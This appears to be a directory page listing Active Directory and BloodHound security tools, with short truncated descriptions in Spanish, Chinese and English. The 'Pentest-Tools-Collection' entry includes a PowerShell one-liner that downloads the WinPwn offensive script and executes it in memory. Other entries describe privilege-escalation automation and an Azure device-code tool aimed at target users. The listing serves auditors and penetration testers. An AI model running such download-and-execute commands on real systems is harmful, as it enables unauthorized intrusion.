ADTrapper

ADTrapper - Plataforma de Análisis de Seguridad de Active Directory Plataforma profesional de análisis de seguridad y detección de amenazas para Active Directory Convierta los registros de autenticación de Windows en información de seguridad procesable con detección avanzada de amenazas y...

adPEAS

adPEAS v2 — Active Directory 权限提升 Awesome 脚本 全面的 Active Directory 安全评估 — 零依赖、单文件、开箱即用。 什么是 adPEAS？ adPEAS 是一款基于 PowerShell 的安全评估工具，用于识别 Active Directory 环境中的错误配置、漏洞和权限提升路径。它专为渗透测试人员、安全审计人员和红队设计，提供一款可靠、自包含的工具，可在任何 Windows 系统上运行 — 无需 RSAT、无需 ActiveDirectory 模块、无需第三方依赖。 adPEAS v2 是对 adPEAS v1...

BloodSOCer

BloodSOCer BloodSOCer es una herramienta de automatización en Python que agrega datos de inteligencia de amenazas de múltiples fuentes Mitre ATT&CK, reglas Sigma, Atomic Red Team y genera archivos JSON para ingerir en BloodHound en formato OpenGraph. BloodSOCer también puede subir los archivos a...

GPOHound

GPOHound GPOHound 是一款用于从 SYSVOL 共享中提取和分析组策略对象（GPO）的工具。 它提供结构化的、形式化的格式，帮助发现在 Active Directory 环境中的错误配置、不安全设置以及权限提升路径。 该工具与 BloodHound 的 Neo4j 数据库集成，将其用作 Active Directory 信息的类似 LDAP 来源，同时通过基于分析结果添加新的关系（边）和节点属性来丰富数据。 功能 转储 以结构化的 JSON 或树形格式转储 GPO 处理多个域 将 GPO 名称与 GPO GUID 关联 按 GPO 文件、GPO GUID 和域过滤输出...

aced

Aced Aced 是一个用于解析和解析单个目标 Active Directory 主体的 DACL 的工具。Aced 将识别针对目标账户的允许入站访问权限中的感兴趣权限，解析入站权限的 SID，并将这些数据呈现给操作员。此外，pyldapsearch 的日志功能已集成到 Aced 中，可以在本地记录目标主体的 LDAP 属性，然后由 pyldapsearch 的配套工具 BOFHound 解析这些属性，以便将收集的数据导入 BloodHound。 用例？ 我编写 Aced 仅仅是因为我想要一种更有针对性的方式来查询 ACL。Bloodhound 很棒，但它极其嘈杂。Bloodhound...

Max

利用一套简单的工具最大化 BloodHound 描述 新版本发布： dpat - BloodHound 域密码审计工具 DPAT 一套简单的工具： get-info - 从 Neo4j 数据库中提取信息列表 mark-owned - 将对象列表标记为已控制 mark-hvt - 将对象列表标记为高价值目标 query - 运行原始 Cypher 查询并返回输出 export - 将域对象的所有出站控制权限导出为 CSV 文件 del-edge - 从数据库中删除一条边 add-spns - 创建 HasSPNConfigured 关系，一种新的攻击原语 add-spw -...

RustHound

此版本仅与BloodHound Legacy 4.x 兼容 与BloodHound Community Edition CE 兼容的版本可在此处找到 RustHound-CE。 摘要 限制 描述 如何编译 使用 Makefile 使用 Dockerfile 使用 Cargo Linux x8664 静态版本 从 Linux 编译 Windows 静态版本 从 Linux 编译 macOS 静态版本 优化二进制文件大小 如何构建文档 用法 演示 简单用法 FQDN 解析模块 ADCS 收集模块 统计 路线图 链接 限制 并非所有 SharpHound 的功能都已实现。RustHound...

RustHound-CE

RustHound-CE es una herramienta recolectora de BloodHound multiplataforma y compilada de forma cruzada, escrita en Rust, lo que la hace compatible con Linux, Windows y macOS. Por lo tanto, genera todos los archivos JSON que pueden ser analizados por BloodHound Community Edition. Esta versión solo...

ShareHound

ShareHound: Mapeo de derechos de recursos compartidos de red mediante BloodHound OpenGraph Una herramienta para mapear los derechos de acceso de los recursos compartidos de red en OpenGraphs de BloodHound. Lee el artículo de blog asociado:...

AD_Miner

AD Miner es una herramienta de auditoría de Active Directory on-premise y Entra ID que: Utiliza consultas Cypher para analizar datos de la base de datos de grafos BloodHound Neo4j. Proporciona una visión general completa de las debilidades existentes a través de un informe estático basado en web...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

autobloody

autobloody autobloody 是一个自动利用BloodHound显示的Active Directory权限提升路径的工具。 描述 该工具可自动在AD对象之间实施权限提升：源对象（我们拥有的）和目标对象（我们想要的），前提是BloodHound数据库中存在权限提升路径。 自动化分为两步： 使用BloodHound数据和neo4j查询寻找最优权限提升路径。 使用bloodyAD包执行找到的路径。 由于autobloody依赖于bloodyAD，它支持使用明文密码、哈希传递、票据传递或证书进行身份验证，并绑定到域控制器的LDAP服务以执行AD权限提升。 安装 提供了Python包...

GitHound

GitHound Resumen GitHound es un recopilador OpenGraph de BloodHound para GitHub, diseñado para mapear la estructura y los permisos de tu organización en un grafo navegable de rutas de ataque. Permite: Modela entidades clave de GitHub GHOrganization : Los metadatos de tu organización de GitHub...

BloodHound.py

BloodHound.py BloodHound.py es un ingestor basado en Python para BloodHound, basado en Impacket. El código en esta rama es solo compatible con BloodHound 4.2 y 4.3. Para BloodHound CE, consulta la rama bloodhound-ce Instalación Existen diferentes métodos de instalación para BloodHound Community...

BloodHound-Tools

这是什么？ 一组集成到 BloodHound 的工具集。 BloodHound 是蓝队和红队安全团队用于发现企业环境中可能被利用的横向移动和权限提升路径的事实标准。典型环境可能产生数百万条路径，为红队提供了几乎无穷无尽的攻击机会，同时也给蓝队带来了看似不可逾越的攻击向量数量。 然而，BloodHound 忽略了一个关键维度——网络访问——这可能是阻断过度横向移动的关键。本仓库包含的工具可与 BloodHound 的数据库集成，以反映网络访问情况，惠及红蓝双方。 阅读更多 此处。 工具列表 ShotHound 使用 CornerShot 验证 BloodHound 发现的可行路径。...

flashingestor

flashingestor 一个用于 Active Directory 收集的 TUI 工具。 设计理念 该项目的主要目标是： 1. 成为一个完整的数据摄取器 ，兼容 BloodHound CE（社区版） 2. 比其他收集器更快、更安静、更可定制 3. 提供友好的 TUI（终端用户界面）并带有进度追踪 演示 实现细节 Flashingestor 实现了三个独立的基本步骤：LDAP 导入、远程收集 和 转换，而其他收集器则在单个步骤中运行指定的方法： 导入 Ctrl+l - 从 LDAP 收集原始对象属性数据，并将其存储在 output/ldap 下的中间 msgpack 文件中。查询可以...

offensive-azure

Collection of offensive tools targeting Microsoft Azure written in Python to be platform agnostic. The current list of tools can be found below with a brief description of their functionality. ./DeviceCode/devicecodeeasymode.py Generates a code to be entered by the target user Can be used for...

gpoParser

gpoParser gpoParser es una herramienta diseñada para extraer y analizar configuraciones aplicadas a través de Objetos de Directiva de Grupo GPOs en un entorno de Active Directory. Dado que enumerar estos ajustes puede ser tedioso y consumir mucho tiempo, esta herramienta proporciona una comprensi...

ghosthound

GhostHound GhostHound es una extensión de OpenGraph de BloodHound para Active Directory. SharpHound y todos los demás recopiladores de AD omiten CN=Deleted Objects: los objetos eliminados tombstones son invisibles para el análisis de rutas de ataque estándar de BloodHound, aunque la Papelera de...

cypherhound

CypherHound 一款Python3终端应用程序，包含用于BloodHound数据集的Neo4j Cypher查询，并附带一个脚本，可自动将这些查询导入BloodHound CE。 输出样例 终端 HTML报表 HTML报表（续） 为什么？ BloodHound 是每位渗透测试人员的必备工具。然而，它的设计也带来了一些负面影响。以下是我遇到的最棘手的痛点，以及本工具旨在解决的问题： 1. 我的工具以列表形式思考 – 在我的工具能解析导出的JSON图之前，我需要将图结果以逐行格式的.txt文件呈现， 才能从其他工具中实际攻击目标 。 2. 复制/粘贴图结果 – 这延续了第一点，但...